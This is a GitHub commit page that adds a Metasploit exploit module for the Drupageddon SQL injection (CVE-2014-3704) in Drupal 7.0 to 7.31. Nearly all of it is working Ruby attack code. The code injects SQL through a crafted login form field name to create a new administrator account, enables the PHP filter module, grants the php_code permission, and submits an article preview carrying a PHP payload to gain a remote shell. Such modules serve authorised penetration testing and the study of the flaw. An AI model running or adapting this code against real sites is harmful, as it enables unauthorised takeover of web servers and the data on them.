Skip to content

Commit b031ce4

Browse files
committed
Create drupal_drupageddon.rb
1 parent 21cdaa4 commit b031ce4

File tree

1 file changed

+323
-0
lines changed

1 file changed

+323
-0
lines changed
Lines changed: 323 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,323 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => 'Drupal HTTP Parameter Key/Value SQL Injection',
16+
'Description' => %q{
17+
This module exploits the Drupal HTTP Parameter Key/Value SQL Injection
18+
(aka Drupageddon) in order to achieve a remote shell on the vulnerable
19+
instance. This module was tested against Drupal 7.0 and 7.31 (was fixed
20+
in 7.32).
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' =>
24+
[
25+
'SektionEins', # discovery
26+
'Christian Mehlmauer', # msf module
27+
'Brandon Perry' # msf module
28+
],
29+
'References' =>
30+
[
31+
['CVE', '2014-3704']
32+
],
33+
'Privileged' => false,
34+
'Platform' => ['php'],
35+
'Arch' => ARCH_PHP,
36+
'Targets' => [['Drupal 7.0 - 7.31',{}]],
37+
'DisclosureDate' => 'Oct 15 2014',
38+
'DefaultTarget' => 0
39+
))
40+
41+
register_options(
42+
[
43+
OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/'])
44+
], self.class)
45+
46+
register_advanced_options(
47+
[
48+
OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator'])
49+
], self.class)
50+
end
51+
52+
def uri_path
53+
normalize_uri(target_uri.path)
54+
end
55+
56+
def admin_role
57+
datastore['ADMIN_ROLE']
58+
end
59+
60+
def generate_password_hash(pass)
61+
# Syntax for MD5:
62+
# $P$ = MD5
63+
# one char representing the hash iterations (min 7 iterations)
64+
# 8 chars salt
65+
# MD5_raw(salt.pass) + iterations
66+
# MD5 base64 encoded and trimmed to 22 chars for md5
67+
68+
# VALID md5 for salt 12345678 and password test
69+
#$P$812345678BWHQIqn5fZNJ.YWj7Kb39.
70+
71+
pass = 'test'
72+
iter = 10
73+
iter_char_base = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
74+
iter_char = iter_char_base[iter]
75+
#salt = Rex::Text.rand_text_alpha(8)
76+
salt = '12345678'
77+
md5 = Rex::Text.md5_raw("#{salt}#{pass}")
78+
1.upto(iter) {
79+
md5 = Rex::Text.md5_raw("#{md5}#{pass}")
80+
}
81+
md5_base64 = Rex::Text.encode_base64(md5)
82+
md5_stripped = md5_base64[0...22]
83+
pass = "$P$#{iter_char}#{salt}#{md5_stripped}"
84+
#puts pass
85+
86+
# return hardcoded password test for now
87+
return '$S$D7hqYeEHohfN2JLg7L4JBa8P3HBX8vimkIehutyb3BptkWMMON/d'
88+
end
89+
90+
def sql_insert_user(user, pass)
91+
"insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{(generate_password_hash(pass))}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users"
92+
end
93+
94+
def sql_make_user_admin(user)
95+
"insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'));"
96+
end
97+
98+
def extract_form_ids(content)
99+
form_build_id = $1 if content =~ /name="form_build_id" value="(.+)" \/>/
100+
form_token = $1 if content =~ /name="form_token" value="(.+)" \/>/
101+
102+
vprint_debug("#{peer} - form_build_id: #{form_build_id}")
103+
vprint_debug("#{peer} - form_token: #{form_token}")
104+
105+
return form_build_id, form_token
106+
end
107+
108+
def exploit
109+
110+
# TODO: Password hashing function
111+
# TODO: Check return after each HTTP call
112+
# TODO: Check returns from regex matches, fail if nil
113+
# TODO: Check if option admin_role exists via admin/people/permissions/roles
114+
115+
# call login page to extract tokens
116+
print_status("#{peer} - Testing page")
117+
res = send_request_cgi({
118+
'uri' => uri_path,
119+
'vars_get' => {
120+
'q' => 'user/login'
121+
}
122+
})
123+
124+
unless res and res.body
125+
fail_with(Failure::Unknown, "No response or response body, bailing.")
126+
end
127+
128+
form_build_id, form_token = extract_form_ids(res.body)
129+
130+
if form_build_id == nil or form_build_id == ""
131+
fail_with(Failure::Unknown, "Could not retrieve form_build_id")
132+
end
133+
134+
user = Rex::Text.rand_text_alpha(10)
135+
#pass = Rex::Text.rand_text_alpha(10)
136+
# TODO: hardcoded for now
137+
pass = 'test'
138+
139+
post = {
140+
"name[0 ;#{sql_insert_user(user, pass)}; #{sql_make_user_admin(user)}; # ]" => Rex::Text.rand_text_alpha(10),
141+
'name[0]' => Rex::Text.rand_text_alpha(10),
142+
'pass' => Rex::Text.rand_text_alpha(10),
143+
'form_build_id' => form_build_id,
144+
'form_id' => 'user_login',
145+
'op' => 'Log in'
146+
}
147+
148+
print_status("#{peer} - Creating new user #{user}:#{pass}")
149+
res = send_request_cgi({
150+
'uri' => uri_path,
151+
'method' => 'POST',
152+
'vars_post' => post,
153+
'vars_get' => {
154+
'q' => 'user/login'
155+
}
156+
})
157+
158+
unless res and res.body
159+
fail_with(Failure::Unknown, "No response or response body, bailing.")
160+
end
161+
162+
# login
163+
print_status("#{peer} - Logging in as #{user}:#{pass}")
164+
res = send_request_cgi({
165+
'uri' => uri_path,
166+
'method' => 'POST',
167+
'vars_post' => {
168+
'name' => user,
169+
'pass' => pass,
170+
'form_build_id' => form_build_id,
171+
'form_id' => 'user_login',
172+
'op' => 'Log in'
173+
},
174+
'vars_get' => {
175+
'q' => 'user/login'
176+
}
177+
})
178+
179+
unless res
180+
fail_with(Failure::Unknown, "No response or response body, bailing.")
181+
end
182+
183+
cookie = res.get_cookies
184+
vprint_debug("#{peer} - cookie: #{cookie}")
185+
186+
# call admin interface to extract CSRF token and enabled modules
187+
print_status("#{peer} - Trying to parse enabled modules")
188+
res = send_request_cgi({
189+
'uri' => uri_path,
190+
'vars_get' => {
191+
'q' => 'admin/modules'
192+
},
193+
'cookie' => cookie
194+
})
195+
196+
form_build_id, form_token = extract_form_ids(res.body)
197+
198+
enabled_module_regex = /name="(.+)" value="1" checked="checked" class="form-checkbox"/
199+
enabled_matches = res.body.to_enum(:scan, enabled_module_regex).map { Regexp.last_match }
200+
post = {
201+
'modules[Core][php][enable]' => '1',
202+
'form_build_id' => form_build_id,
203+
'form_token' => form_token,
204+
'form_id' => 'system_modules',
205+
'op' => 'Save configuration'
206+
}
207+
208+
enabled_matches.each do |match|
209+
post[match.captures[0]] = '1'
210+
end
211+
212+
# enable PHP filter
213+
print_status("#{peer} - Enabling the PHP filter module")
214+
res = send_request_cgi({
215+
'uri' => uri_path,
216+
'method' => 'POST',
217+
'vars_post' => post,
218+
'vars_get' => {
219+
'q' => 'admin/modules/list/confirm'
220+
},
221+
'cookie' => cookie
222+
})
223+
224+
unless res and res.body
225+
fail_with(Failure::Unknown, "No response or response body, bailing.")
226+
end
227+
228+
# Response: http 302, Location: http://10.211.55.50/?q=admin/modules
229+
230+
print_status("#{peer} - Setting permissions for PHP filter module")
231+
232+
# allow admin to use php_code
233+
res = send_request_cgi({
234+
'uri' => uri_path,
235+
'vars_get' => {
236+
'q' => 'admin/people/permissions'
237+
},
238+
'cookie' => cookie
239+
})
240+
241+
242+
unless res and res.body
243+
fail_with(Failure::Unknown, "No response or response body, bailing.")
244+
end
245+
246+
form_build_id, form_token = extract_form_ids(res.body)
247+
248+
perm_regex = /name="(.+)" value="(.+)" checked="checked" \/>/
249+
enabled_perms = res.body.to_enum(:scan, perm_regex).map { Regexp.last_match }
250+
251+
# get administrator role id
252+
id = $1 if res.body =~ /for="edit-([0-9]+)-administer-content-types">#{admin_role}:/
253+
vprint_debug("#{peer} - admin role id: #{id}")
254+
255+
post = {
256+
"#{id}[use text format php_code]" => 'use text format php_code',
257+
'form_build_id' => form_build_id,
258+
'form_token' => form_token,
259+
'form_id' => 'user_admin_permissions',
260+
'op' => 'Save permissions'
261+
}
262+
263+
enabled_perms.each do |match|
264+
post[match.captures[0]] = match.captures[1]
265+
end
266+
267+
res = send_request_cgi({
268+
'uri' => uri_path,
269+
'method' => 'POST',
270+
'vars_post' => post,
271+
'vars_get' => {
272+
'q' => 'admin/people/permissions'
273+
},
274+
'cookie' => cookie
275+
})
276+
277+
unless res and res.body
278+
fail_with(Failure::Unknown, "No response or response body, bailing.")
279+
end
280+
281+
# Add new Content page (extract csrf token)
282+
print_status("#{peer} - Getting tokens from create new article page")
283+
res = send_request_cgi({
284+
'uri' => uri_path,
285+
'vars_get' => {
286+
'q' => 'node/add/article'
287+
},
288+
'cookie' => cookie
289+
})
290+
291+
unless res and res.body
292+
fail_with(Failure::Unknown, "No response or response body, bailing.")
293+
end
294+
295+
form_build_id, form_token = extract_form_ids(res.body)
296+
297+
# Preview to trigger the payload
298+
data = Rex::MIME::Message.new
299+
data.add_part(Rex::Text.rand_text_alpha(10), nil, nil, 'form-data; name="title"')
300+
data.add_part(form_build_id, nil, nil, 'form-data; name="form_build_id"')
301+
data.add_part(form_token, nil, nil, 'form-data; name="form_token"')
302+
data.add_part('article_node_form', nil, nil, 'form-data; name="form_id"')
303+
data.add_part('php_code', nil, nil, 'form-data; name="body[und][0][format]"')
304+
data.add_part("<?php #{payload.encoded} ?>", nil, nil, 'form-data; name="body[und][0][value]"')
305+
data.add_part('Preview', nil, nil, 'form-data; name="op"')
306+
data.add_part(user, nil, nil, 'form-data; name="name"')
307+
data.add_part('1', nil, nil, 'form-data; name="status"')
308+
data.add_part('1', nil, nil, 'form-data; name="promote"')
309+
post_data = data.to_s
310+
311+
print_status("#{peer} - Calling preview page. Exploit should trigger...")
312+
send_request_cgi(
313+
'method' => 'POST',
314+
'uri' => uri_path,
315+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
316+
'data' => post_data,
317+
'vars_get' => {
318+
'q' => 'node/add/article'
319+
},
320+
'cookie' => cookie
321+
)
322+
end
323+
end

0 commit comments

Comments
 (0)